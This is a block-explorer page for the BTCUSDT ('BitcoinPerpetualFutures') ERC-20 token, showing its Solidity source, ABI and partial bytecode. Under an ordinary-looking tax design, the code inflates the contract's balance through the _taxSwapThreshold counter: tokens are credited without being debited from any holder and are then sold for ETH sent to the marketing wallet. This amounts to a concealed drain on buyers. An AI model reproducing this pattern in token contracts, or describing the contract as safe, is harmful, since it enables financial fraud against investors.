ERC-20
Overview
Max Total Supply
10,000,000 ERC20 ***
Holders
132
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.574526646 ERC20 ***Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BTCUSDT
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-12 */ //SPDX-License-Identifier: MIT /* BitcoinPerpetualFutures Ticker: $BTCUSDT Telegram: https://t.me/BitcoinPerpetualFutures Website: https://bpfbtcusdt.com Twitter: https://twitter.com/BPFERC20 */ pragma solidity 0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address __owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Auth { address internal _owner; constructor(address creatorOwner) { _owner = creatorOwner; } modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; } function owner() public view returns (address) { return _owner; } function transferOwnership(address payable newOwner) external onlyOwner { _owner = newOwner; emit OwnershipTransferred(newOwner); } function renounceOwnership() external onlyOwner { _owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address _owner); } contract BTCUSDT is IERC20, Auth { uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 10_000_000 * (10**_decimals); string private constant _name = "BitcoinPerpetualFutures"; string private constant _symbol = "BTCUSDT"; uint8 private initialBuyTax = 2; uint8 private initialSellTax = 2; uint8 private _finalBuyTax = 0; uint8 private _finalSellTax = 1; uint8 private reduceBuyTaxAt = 1; uint8 private reduceSellTaxAt = 1; uint256 private _preventSwapBefore = 2; uint256 private _buyCount; uint256 private _maxTxAmount = _totalSupply; uint256 private _maxWalletAmount = _totalSupply; uint256 private _taxSwapMin = _totalSupply * 100 / 1000000; uint256 private _taxSwapMax = _totalSupply * 8700 / 1000000; uint256 private _taxSwapThreshold = _taxSwapMin * 600 * 10; address payable private _walletMarketing = payable(0x536d71174Dff3387F69389B0783ae9ab108fA5Fd); mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _noFees; mapping (address => bool) private _noLimits; address private lpowner; address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress); address private _primaryLP; mapping (address => bool) private _isLP; bool private _tradingOpen; bool private _inTaxSwap = false; modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; } event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount); constructor() Auth(msg.sender) { lpowner = msg.sender; uint256 tokenReserve = _totalSupply * 2 / 100; _balances[address(this)] = _totalSupply - tokenReserve; emit Transfer(address(0), address(this), _balances[address(this)]); _balances[_owner] = tokenReserve; emit Transfer(address(0), _owner, _balances[_owner]); _noFees[_owner] = true; _noFees[address(this)] = true; _noFees[_swapRouterAddress] = true; _noFees[_walletMarketing] = true; _noLimits[_owner] = true; _noLimits[address(this)] = true; _noLimits[_swapRouterAddress] = true; _noLimits[_walletMarketing] = true; } receive() external payable {} function totalSupply() external pure override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spendr, uint256 amount) public override returns (bool) { _allowances[msg.sender][spendr] = amount; emit Approval(msg.sender, spendr, amount); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(msg.sender), "Trading not open"); return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sndr, address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(sndr), "Trading not open"); if(_allowances[sndr][msg.sender] != type(uint256).max){ _allowances[sndr][msg.sender] = _allowances[sndr][msg.sender] - amount; } return _transferFrom(sndr, recipient, amount); } function _approveRouter(uint256 _tokenAmount) internal { if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) { _allowances[address(this)][_swapRouterAddress] = type(uint256).max; emit Approval(address(this), _swapRouterAddress, type(uint256).max); } } function addLiquidity() external payable onlyOwner lockTaxSwap { require(_primaryLP == address(0), "LP created"); require(!_tradingOpen, "trading open"); require(msg.value > 0 || address(this).balance>0, "No ETH in ca/msg"); require(_balances[address(this)]>0, "No tokens in ca"); _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH()); _addLiquidity(_balances[address(this)], address(this).balance, false); _balances[_primaryLP] -= _taxSwapThreshold; (bool lpAdded,) = _primaryLP.call(abi.encodeWithSignature("sync()") ); require(lpAdded, "Failed adding lp"); _isLP[_primaryLP] = lpAdded; _openTrading(); } function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal { address lprecipient = lpowner; if ( autoburn ) { lprecipient = address(0); } _approveRouter(_tokenAmount); _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lprecipient, block.timestamp ); } function _openTrading() internal { _maxTxAmount = _totalSupply * 2 / 100; _maxWalletAmount = _totalSupply * 2 / 100; _tradingOpen = true; _buyCount = block.number; _preventSwapBefore = _preventSwapBefore + _buyCount + reduceBuyTaxAt + reduceSellTaxAt; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "No transfers from Zero wallet"); if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); } if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); } if ( block.number < _preventSwapBefore && block.number >= _buyCount && _isLP[sender] ) { require(recipient == tx.origin, "MEV blocked"); } if ( sender != address(this) && recipient != address(this) && sender != _owner ) { require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); } uint256 _taxAmount = _calculateTax(sender, recipient, amount); uint256 _transferAmount = amount - _taxAmount; _balances[sender] = _balances[sender] - amount; _taxSwapThreshold += _taxAmount; _balances[recipient] = _balances[recipient] + _transferAmount; emit Transfer(sender, recipient, amount); return true; } function _checkLimits(address sndr, address recipient, uint256 transferAmount) internal view returns (bool) { bool limitCheckPassed = true; if ( _tradingOpen && !_noLimits[sndr] && !_noLimits[recipient] ) { if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; } else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; } } return limitCheckPassed; } function _checkTradingOpen(address sndr) private view returns (bool){ bool checkResult = false; if ( _tradingOpen ) { checkResult = true; } else if (_noFees[sndr] && _noLimits[sndr]) { checkResult = true; } return checkResult; } function _calculateTax(address sndr, address recipient, uint256 amount) internal view returns (uint256) { uint256 taxAmount; if ( !_tradingOpen || _noFees[sndr] || _noFees[recipient] ) { taxAmount = 0; } else if ( _isLP[sndr] ) { if ( block.number >= _buyCount + reduceBuyTaxAt + reduceSellTaxAt ) { taxAmount = amount * _finalBuyTax / 100; } else if ( block.number >= _buyCount + reduceBuyTaxAt ) { taxAmount = amount * initialSellTax / 100; } else if ( block.number >= _buyCount) { taxAmount = amount * initialBuyTax / 100; } } else if ( _isLP[recipient] ) { taxAmount = amount * _finalSellTax / 100; } return taxAmount; } function exemptFromFees(address wlt) external view returns (bool) { return _noFees[wlt]; } function exemptFromLimits(address wlt) external view returns (bool) { return _noLimits[wlt]; } function setExempt(address wlt, bool noFees, bool noLimits) external onlyOwner { if (noLimits || noFees) { require(!_isLP[wlt], "Cannot exempt LP"); } _noFees[ wlt ] = noFees; _noLimits[ wlt ] = noLimits; } function buyFee() external view returns(uint8) { return _finalBuyTax; } function sellFee() external view returns(uint8) { return _finalSellTax; } function marketingWallet() external view returns (address) { return _walletMarketing; } function maxWallet() external view returns (uint256) { return _maxWalletAmount; } function maxTransaction() external view returns (uint256) { return _maxTxAmount; } function swapAtMin() external view returns (uint256) { return _taxSwapMin; } function swapAtMax() external view returns (uint256) { return _taxSwapMax; } function setLimits(uint16 maxTrxPermille, uint16 maxWltPermille) external onlyOwner { uint256 newTxAmt = _totalSupply * maxTrxPermille / 1000 + 1; require(newTxAmt >= _maxTxAmount, "tx too low"); _maxTxAmount = newTxAmt; uint256 newWalletAmt = _totalSupply * maxWltPermille / 1000 + 1; require(newWalletAmt >= _maxWalletAmount, "wallet too low"); _maxWalletAmount = newWalletAmt; } function _swapTaxAndLiquify() private lockTaxSwap { uint256 _taxTokensAvailable = _taxSwapThreshold; if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) { if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; } uint256 _tokensToSwap = _taxTokensAvailable; if( _tokensToSwap > 10**_decimals ) { _balances[address(this)] += _taxTokensAvailable; _swapTaxTokensForEth(_tokensToSwap); _taxSwapThreshold -= _taxTokensAvailable; } uint256 _contractETHBalance = address(this).balance; if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); } } } function _swapTaxTokensForEth(uint256 tokenAmount) private { _approveRouter(tokenAmount); address[] memory path = new address[](2); path[0] = address( this ); path[1] = _primarySwapRouter.WETH() ; _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } function _distributeTaxEth(uint256 amount) private { _walletMarketing.transfer(amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burnedByWallet","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spendr","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"}],"name":"exemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTrxPermille","type":"uint16"},{"internalType":"uint16","name":"maxWltPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAtMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAtMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sndr","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526002600060146101000a81548160ff021916908360ff1602179055506002600060156101000a81548160ff021916908360ff16021790555060008060166101000a81548160ff021916908360ff1602179055506001600060176101000a81548160ff021916908360ff1602179055506001600060186101000a81548160ff021916908360ff1602179055506001600060196101000a81548160ff021916908360ff16021790555060026001556009600a620000c0919062000aa5565b62989680620000d0919062000af6565b6003556009600a620000e3919062000aa5565b62989680620000f3919062000af6565b600455620f424060646009600a6200010c919062000aa5565b629896806200011c919062000af6565b62000128919062000af6565b62000134919062000b70565b600555620f42406121fc6009600a6200014e919062000aa5565b629896806200015e919062000af6565b6200016a919062000af6565b62000176919062000b70565b600655600a6102586005546200018d919062000af6565b62000199919062000af6565b60075573536d71174dff3387f69389b0783ae9ab108fa5fd600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601160016101000a81548160ff0219169083151502179055503480156200026e57600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505033600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000606460026009600a62000308919062000aa5565b6298968062000318919062000af6565b62000324919062000af6565b62000330919062000b70565b9050806009600a62000343919062000aa5565b6298968062000353919062000af6565b6200035f919062000ba8565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000441919062000bf4565b60405180910390a380600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200058e919062000bf4565b60405180910390a36001600b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062000c11565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000999578086048111156200097157620009706200090b565b5b6001851615620009815780820291505b808102905062000991856200093a565b945062000951565b94509492505050565b600082620009b4576001905062000a87565b81620009c4576000905062000a87565b8160018114620009dd5760028114620009e85762000a1e565b600191505062000a87565b60ff841115620009fd57620009fc6200090b565b5b8360020a91508482111562000a175762000a166200090b565b5b5062000a87565b5060208310610133831016604e8410600b841016171562000a585782820a90508381111562000a525762000a516200090b565b5b62000a87565b62000a67848484600162000947565b9250905081840481111562000a815762000a806200090b565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000ab28262000a8e565b915062000abf8362000a98565b925062000aee7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009a2565b905092915050565b600062000b038262000a8e565b915062000b108362000a8e565b925082820262000b208162000a8e565b9150828204841483151762000b3a5762000b396200090b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000b7d8262000a8e565b915062000b8a8362000a8e565b92508262000b9d5762000b9c62000b41565b5b828204905092915050565b600062000bb58262000a8e565b915062000bc28362000a8e565b925082820390508181111562000bdd5762000bdc6200090b565b5b92915050565b62000bee8162000a8e565b82525050565b600060208201905062000c0b600083018462000be3565b92915050565b613b0e8062000c216000396000f3fe60806040526004361061014f5760003560e01c806370a08231116100b6578063a9059cbb1161006f578063a9059cbb146104a3578063c3f70b52146104e0578063dd62ed3e1461050b578063e8078d9414610548578063f2fde38b14610552578063f8b45b051461057b57610156565b806370a0823114610391578063715018a6146103ce57806375f0a874146103e55780638d3e6e40146104105780638da5cb5b1461044d57806395d89b411461047857610156565b8063368f480011610108578063368f48001461028157806346b89834146102aa57806347062402146102d55780634d4ce9351461030057806357ff135a1461032b5780635a90a49e1461035457610156565b806306fdde031461015b578063095ea7b31461018657806318160ddd146101c357806323b872dd146101ee5780632b14ca561461022b578063313ce5671461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105a6565b60405161017d9190612b08565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612bc3565b6105e3565b6040516101ba9190612c1e565b60405180910390f35b3480156101cf57600080fd5b506101d86106d5565b6040516101e59190612c48565b60405180910390f35b3480156101fa57600080fd5b5061021560048036038101906102109190612c63565b6106f8565b6040516102229190612c1e565b60405180910390f35b34801561023757600080fd5b50610240610902565b60405161024d9190612cd2565b60405180910390f35b34801561026257600080fd5b5061026b610918565b6040516102789190612cd2565b60405180910390f35b34801561028d57600080fd5b506102a860048036038101906102a39190612d27565b610921565b005b3480156102b657600080fd5b506102bf610add565b6040516102cc9190612c48565b60405180910390f35b3480156102e157600080fd5b506102ea610ae7565b6040516102f79190612cd2565b60405180910390f35b34801561030c57600080fd5b50610315610afd565b6040516103229190612c48565b60405180910390f35b34801561033757600080fd5b50610352600480360381019061034d9190612d93565b610b07565b005b34801561036057600080fd5b5061037b60048036038101906103769190612de6565b610ce4565b6040516103889190612c1e565b60405180910390f35b34801561039d57600080fd5b506103b860048036038101906103b39190612de6565b610d3a565b6040516103c59190612c48565b60405180910390f35b3480156103da57600080fd5b506103e3610d83565b005b3480156103f157600080fd5b506103fa610e8c565b6040516104079190612e22565b60405180910390f35b34801561041c57600080fd5b5061043760048036038101906104329190612de6565b610eb6565b6040516104449190612c1e565b60405180910390f35b34801561045957600080fd5b50610462610f0c565b60405161046f9190612e22565b60405180910390f35b34801561048457600080fd5b5061048d610f35565b60405161049a9190612b08565b60405180910390f35b3480156104af57600080fd5b506104ca60048036038101906104c59190612bc3565b610f72565b6040516104d79190612c1e565b60405180910390f35b3480156104ec57600080fd5b506104f5610fcf565b6040516105029190612c48565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d9190612e3d565b610fd9565b60405161053f9190612c48565b60405180910390f35b610550611060565b005b34801561055e57600080fd5b5061057960048036038101906105749190612ebb565b61174d565b005b34801561058757600080fd5b50610590611855565b60405161059d9190612c48565b60405180910390f35b60606040518060400160405280601781526020017f426974636f696e50657270657475616c46757475726573000000000000000000815250905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c39190612c48565b60405180910390a36001905092915050565b60006009600a6106e5919061304a565b629896806106f39190613095565b905090565b60006107038461185f565b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990613123565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146108ee5781600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461086d9190613143565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6108f984848461193a565b90509392505050565b60008060179054906101000a900460ff16905090565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a6906131c3565b60405180910390fd5b600060016103e88461ffff166009600a6109c9919061304a565b629896806109d79190613095565b6109e19190613095565b6109eb9190613212565b6109f59190613243565b9050600354811015610a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a33906132c3565b60405180910390fd5b80600381905550600060016103e88461ffff166009600a610a5d919061304a565b62989680610a6b9190613095565b610a759190613095565b610a7f9190613212565b610a899190613243565b9050600454811015610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac79061332f565b60405180910390fd5b8060048190555050505050565b6000600554905090565b60008060169054906101000a900460ff16905090565b6000600654905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8c906131c3565b60405180910390fd5b8080610b9e5750815b15610c3157601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c279061339b565b60405180910390fd5b5b81600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e08906131c3565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610e829190612e22565b60405180910390a1565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4254435553445400000000000000000000000000000000000000000000000000815250905090565b6000610f7d3361185f565b610fbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb390613123565b60405180910390fd5b610fc733848461193a565b905092915050565b6000600354905090565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e5906131c3565b60405180910390fd5b6001601160016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461119a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119190613407565b60405180910390fd5b601160009054906101000a900460ff16156111ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e190613473565b60405180910390fd5b60003411806111f95750600047115b611238576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122f906134df565b60405180910390fd5b6000600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116112ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b19061354b565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134b9190613580565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f89190613580565b6040518363ffffffff1660e01b81526004016